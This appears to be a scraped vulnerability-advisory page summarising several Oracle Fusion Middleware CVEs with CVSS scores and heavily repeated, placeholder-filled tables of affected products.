vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Service Delivery Platform Messaging Enabler (versions 14.1.2.0.0 and 12.2.1.4.0) allows a high-privileged attacker with HTTP network access to gain unauthorized access to critical data, with a CVSS 3.1 score of 6.8.
6.8 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Service Delivery Platform 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read and write access, with a CVSS 3.1 base score of 6.5 indicating moderate impact.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with network LDAP access to gain unauthorized access to critical or all accessible data, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows low-privileged attackers with LDAP network access to create, delete, or modify critical data, leading to unauthorized access with a CVSS 3.1 score of 6.8.
6.8 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to exploit the system via HTTP, potentially causing unauthorized data access, modification, deletion, and partial denial of service with a CVSS 3.1 score of 9.6.
9.6 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to gain unauthorized access and modify critical data, rated CVSS 3.1 base score 7.6.
7.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with network LDAP access to gain unauthorized access to critical or all accessible data, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated HTTP attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 7.4 indicating high confidentiality and integrity impact.
7.4 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to gain unauthorized access, modify or delete data, and cause partial denial of service, with a CVSS 3.1 score of 9.9.
9.9 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical remote code execution vulnerability with a CVSS 3.1 score of 9.8 affects Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via network access through T3 or IIOP without authentication.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-severity vulnerability in Oracle WebCenter Content 14.1.2.0.0 allows low-privileged attackers with infrastructure access to compromise system confidentiality and integrity, enabling unauthorized data creation, deletion, or modification.
8.4 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to create, delete, or modify critical data, leading to unauthorized access with a CVSS 3.1 score of 7.4.
7.4 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.
8.7 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
